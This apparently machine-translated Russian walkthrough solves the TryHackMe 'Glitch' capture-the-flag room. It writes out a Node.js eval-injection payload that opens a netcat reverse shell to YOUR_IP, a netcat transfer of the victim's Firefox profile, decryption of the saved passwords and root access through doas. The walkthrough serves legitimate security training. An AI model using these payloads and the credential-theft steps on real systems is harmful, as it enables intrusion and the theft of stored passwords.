Снова получайте удовольствие от TryHackMe. Итак, вот описание и руководство по прохождению этого испытания Glitch.

Комната: https://tryhackme.com/room/glitch
Уровень: Легкий

Задание. Попробуйте продемонстрировать веб-приложение и простое повышение привилегий. Сможешь найти глюк?

Давайте начнем

Как обычно, запускаем машину и открываем IP в браузере (появилось минут 10. Не знаю почему)

Просто пустая страница с глючными обоями. При открытии консоли есть конечная точка API. Откроем в браузере

О!, есть жетон. Но это не ответ. Похоже на base64. Используя кибершеф,

Первый флаг готов! Двигайтесь дальше… Продолжайте расследование…

Из запроса есть Cookie по умолчанию как token=value. Давайте изменим это

document.cookie="token=**************"

и обновите страницу. Похоже, не меняется. Попробуйте POST

# curl -X POST http://10.10.82.X/api/access --cookie "token=**************"
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot POST /api/access</pre>
</body>
</html>

Не бери в голову. Просто запустите feroxbuster из /api

# feroxbuster — url http://10.10.82.X/api -w ~/dirb/big.txt -t 20
 🎯 Target Url      │ http://10.10.82.X/api
 🚀 Threads         │ 20
 📖 Wordlist        │ ~/dirb/big.txt
 👌 Status Codes    │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
 💥 Timeout (secs)  │ 7
 🦡 User-Agent      │ feroxbuster/2.2.3
 💉 Config File     │ /usr/local/bin/ferox-config.toml
 🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
 🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
200 1l 1w 36c http://10.10.82.X/api/access
200 1l 1w 169c http://10.10.82.X/api/items
[####################] — 3m 20468/20468 0s found:2 errors:0 
[####################] — 3m 20468/20468 101/s http://10.10.82.X/api

Найдена еще одна скрытая конечная точка. /апи/предметы

# curl -X GET http://10.10.82.X/api/items
{"sins":["lust","gluttony","greed","sloth","wrath","envy","pride"],"errors":["error","error","error","error","error","error","error","error","error"],"deaths":["death"]}

Хм.. не знаю, что это значит. К этому моменту cookie больше не является обязательным. Возможно в системе какой-то сбой. Хе-хе... Кстати, продолжайте пробовать использовать POST,

# curl -X POST http://10.10.82.X/api/items
{"message":"there_is_a_glitch_in_the_matrix"}

Есть сообщение. Здесь должно быть что-то скрыто. Может скрытый параметр? Более быстрый способ проверки с помощью Arjun,

# arjun -u http://10.10.7.149/api/items -m POST -w ~/wordlists/wfuzz/general/common.txt
Probing the target for stability
Analysing HTTP response for anamolies
Analysing HTTP response for potential parameter names
Logicforcing the URL endpoint

Нет результата, ммм. Я думаю, нужно использовать WFuzz. Запуск wfuzz с использованием того же диктофона…

# wfuzz -z file,wordlists/wfuzz/general/common.txt -c -d "testing" --hc 400,401,403,404 http://10.10.X.X/api/items\?FUZZ\=testing
Target: http://10.10.X.X/api/items?FUZZ=testing
Total requests: 950
====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                              
====================================================================
000000201:   500        10 L     64 W       1084 Ch     "cmd"

«CMD» хорошо.. есть параметр cmd, который изменяет ответ страницы. Посмотрим

# curl -X POST http://10.10.X.X/api/items?cmd=test
....
.... 
<pre>ReferenceError: test is not defined<br> &nbsp; &nbsp;at eval (eval at router.post (/var/web/routes/api.js:25:60)
....

Хорошо…, давайте проверим, может ли быть реверсивный шелл. Ссылаясь на этот гитхаб,

require('child_process').exec('nc -e /bin/sh YOUR_IP 1234')

Сначала запустите nc -nvlp 1234. Затем попробуйте использовать это,

# curl -X POST -G http://10.10.X.X/api/items --data-urlencode "cmd=require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc YOUR_IP 1234 >/tmp/f')"
vulnerability_exploited [object Object]

Сообщение обнаруживает уязвимость, и, к счастью, обратная оболочка работает

Connection from 10.10.X.X:55038
/bin/sh: 0: can’t access tty; job control turned off
$

Прежде всего, сначала обновите терминал,

# python -c 'import pty; pty.spawn("/bin/bash")'

Теперь найдите файл user.txt.

# ls -al ~/
drwxr-xr-x   8 user user  4096 Jan 27 10:33 .
drwxr-xr-x   4 root root  4096 Jan 15 14:13 ..
-rw-rw-r--   1 user user    22 Jan  4 15:29 user.txt
# cat ~/user.txt
THM{XXXXXXXXXXXXXXXXX}

Хорошо, Рут!

Из того же каталога

# ls -al
lrwxrwxrwx   1 root root      9 Jan 21 09:05 .bash_history -> /dev/null
-rw-r--r--   1 user user   3771 Apr  4  2018 .bashrc
drwx------   2 user user   4096 Jan  4 13:41 .cache
drwxrwxrwx   4 user user   4096 Jan 27 10:32 .firefox
drwx------   3 user user   4096 Jan  4 13:41 .gnupg
drwxr-xr-x 270 user user  12288 Jan  4 14:07 .npm
drwxrwxr-x   5 user user   4096 Apr  6 06:08 .pm2
drwx------   2 user user   4096 Jan 21 08:47 .ssh
-rw-rw-r--   1 user user     22 Jan  4 15:29 user.txt

Полное разрешение для папки .firefox.

# ls -al .firefox
drwxrwxrwx 11 user user 4096 Jan 27 10:32  b5w4643p.default-release
drwxrwxrwx  3 user user 4096 Jan 27 10:32 'Crash Reports'
-rwxrwxr-x  1 user user  259 Jan 27 10:32  profiles.ini

На самом деле это хранилище Firefox, которое содержит конфиденциальную информацию. Развернуть, найти b5w4643p.default-release/login.json

{"nextId":2,"logins":[{"id":1,"hostname":"https://glitch.thm","httpRealm":null,"formSubmitURL":"","usernameField":"","passwordField":"","encryptedUsername":"MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECCP5HBZJq0+DBAjWdWrk7qo4eA==","encryptedPassword":"MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECPfxo08d5UxEBBB9aJ+chJC2pDccxKhqs1UH","guid":"{9c80e9f2-0377-496e-9404-4411eb94783b}","encType":1,"timeCreated":1610645982812,"timeLastUsed":1610645982812,"timePasswordChanged":1610645982812,"timesUsed":1}],"potentiallyVulnerablePasswords":[],"dismissedBreachAlertsByLoginGUID":{},"version":3}

Все зашифровано. Поискал расшифровщик и нашел это репозиторий. Батт, не удалось клонировать git внутри машины-жертвы. Итак, мы можем использовать netcat для загрузки этой папки Firefox. Заархивируйте сначала

# tar -czvf firefox.tar.gz .firefox

Хорошо, теперь с машины-жертвы запустите эту команду netcat

# nc YOUR_IP 4444 -w 3 < ~/firefox.tar.g

И из местных, слушай

# nc -lvp 4444 > ~/Downloads/firefox.tar.gz
Connection from 10.10.X.X:60726

Хорошо, он успешно загружен. Извлеките его и запустите расшифровщик firefox.

# python3 firefox_decrypt.py ~/Downloads/.firefox             
Select the Mozilla profile you wish to decrypt
1 -> hknqkrn7.default
2 -> b5w4643p.default-release
2
Website:   https://glitch.thm
Username: 'v0id'
Password: 'XXXXXXXXXXXX'

Ой! Это быстро. Давайте использовать как SSH для входа в систему как v0id пользователь

# ssh [email protected]
ssh: connect to host 10.10.7.149 port 22: Operation timed out

Хорошо, ssh невозможен, тогда попробуйте su изнутри машины жертвы

# su v0id
password: XXXXXXXXXXX
v0id@ubuntu:~$

Успех! Это работает…

# ls /root
ls: cannot open directory '/root': Permission denied
# sudo -l
password: 
Sorry, user v0id may not run sudo on ubuntu.

Давайте посмотрим на подсказку, и она говорит: «sudo is bloat». Попробуйте поискать в Google, и первая запись гласила: «Sudo Is Bloat. Вместо этого используйте Doas!». Затем я набираю команду doas

v0id@ubuntu:/home/user$ doas
usage: doas [-nSs] [-a style] [-C config] [-u user] command [args]

Его аргумент команды принятия. Давайте попробуем, может ли он получить доступ к корневой папке

# doas ls /root
password: XXXXXXXXXXXXX
clean.sh  root.txt

Ха-ха! Просто может cat командовать файлом тогда

# doas cat /root/root.txt
password: XXXXXXXXXXXXXX
THM{XXXXXXXXXXXXXXXXXXXX}

Сделанный!!!

~~~Удачного взлома~~~